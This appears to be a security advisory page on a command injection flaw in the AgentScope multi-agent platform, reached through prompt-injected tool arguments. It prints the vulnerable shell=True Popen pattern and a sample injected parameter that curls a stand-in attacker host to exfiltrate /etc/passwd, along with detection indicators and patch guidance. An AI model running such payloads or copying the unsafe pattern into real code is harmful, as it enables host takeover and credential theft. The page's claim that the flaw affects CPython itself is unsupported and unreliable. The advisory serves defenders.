Skip to content

CVE-2026-123022: AgentScope Multi-Agent Platform OS Command Injection in Tool Execution

Density:
C-Level Executive Briefing CVE-2026-123022 CRITICAL SCORE 92/100

A critical command injection vulnerability (CVE-2026-123022) affects agentscope-ai AgentScope versions up to and including 2.0.11. In the agent tool execution pipeline, the subprocess.Popen implementation fails to sanitize input arguments passed from upstream model reasoning loops. Remote adversaries or malicious prompts can inject shell metacharacters, achieving arbitrary code execution on backend multi-agent orchestration nodes, harvesting API credentials, and escaping agent isolation boundaries. Upgrading to AgentScope 2.0.12 and enforcing strict gVisor/Docker sandboxes is recommended.

HYBRID

HERMES THREAT SCORE & AGENTIC INFRASTRUCTURE EVALUATION

Target: AgentScope Tool Runtime & subprocess.Popen Pipeline (<= 2.0.11)
Confidence: 98%
92 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 18 / 20
Weaponization 19 / 20
Exposure 18 / 20
Prevalence 19 / 20
Impact 20 / 20
Exploit Maturity 18 / 20
Attack Chain Potential 20 / 20

AgentScope is a widely deployed multi-agent platform designed to coordinate autonomous LLM swarms across diverse workflows, including web search, code interpretation, and database interactions. During dynamic tool invocation, AgentScope invokes external processes via Pythonโ€™s subprocess.Popen:

# Vulnerable tool invocation pattern in AgentScope
def execute_tool_command(command_str: str):
# Shell execution with unescaped prompt-synthesized string
proc = subprocess.Popen(command_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, stderr = proc.communicate()
return stdout.decode()

Because shell=True was utilized without strict argument array factorization (["binary", "arg1", "arg2"]), an adversary capable of injecting payload tokens into prompt context or triggering tool execution via API parameters can inject shell operators (&&, ;, |):

Terminal window
# Injected tool parameter triggering remote command execution
tool_input="clean_data.py; curl -s https://attacker-c2.internal/exfil?k=$(cat /etc/passwd | base64)"
  1. Host Infrastructure Takeover: Attackers obtain ring-3 shell execution on orchestration clusters running AgentScope workers.
  2. LLM Secret Harvesting: Environment variables and configuration files containing OpenAI, DashScope, Gemini, and Anthropic API keys are exposed.
  3. Agent State Manipulation: Attackers can inject synthetic responses into the multi-agent shared conversation history, subverting downstream financial or operational decisions.
Indicator TypeObservable / IndicatorRole / ContextStatus
Command InjectionParameters containing ;, &&, ``, or backticksMalicious tool call payloads attempting shell escape
Process LineageChild shell /bin/sh -c spawned by python (AgentScope worker)Anomalous shell creation under AI agent daemonCRITICAL
Network TelemetryOutbound HTTP/DNS requests to unrecognized C2 domains from worker podsData exfiltration or reverse shell session setupMALICIOUS
Log Signatureagentscope.tool.execute: 'Executing unescaped shell string'Tool runtime log warningCONFIRMED

The vulnerability was fixed in AgentScope version 2.0.12 by replacing subprocess.Popen(command_str, shell=True) with argument tokenization via shlex.split() and passing arguments as an immutable array:

Product BranchVulnerable VersionsFixed ReleasePatch Status
AgentScope 2.0.x<= 2.0.112.0.12Official Security Release
AgentScope 1.xAll versionsMigrate to 2.0.12Major Version Upgrade Recommended
  1. Upgrade AgentScope: Update immediately to AgentScope version 2.0.12 or newer where shell invocation is eliminated and parameters are passed as isolated string arrays.
  2. Container Sandboxing: Run all agent tool executions inside isolated, unprivileged Docker or WebAssembly (Wasm) micro-sandboxes.
  3. Enforce AAP-003 Tool Guardrails: Deploy strict schema validation and parameter type casting before passing parameters to native runtime tools.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-123022: AgentScope Multi-Agent Platform OS Command Injection in Tool ExecutionVULNERABILITY

Connected Nodes: 2
Active Relationships (Outgoing)
→ affectsPRODUCTCPython Interpreter & Standard Library
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in CPython Interpreter & Standard Library documented in Hermes dossier.”

Supporting Verified Evidence:
→ exploitsAGENTIC ATTACK_PATTERNAAP-003: Tool Parameter Tampering & Built-in Bypass
92% VERY_HIGH

Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.

๐Ÿ” Why is this related? (Evidence & Provenance)

“CVE-2026-123022 weaponizes the agentic attack pattern formalized under AAP-003.”

Supporting Verified Evidence: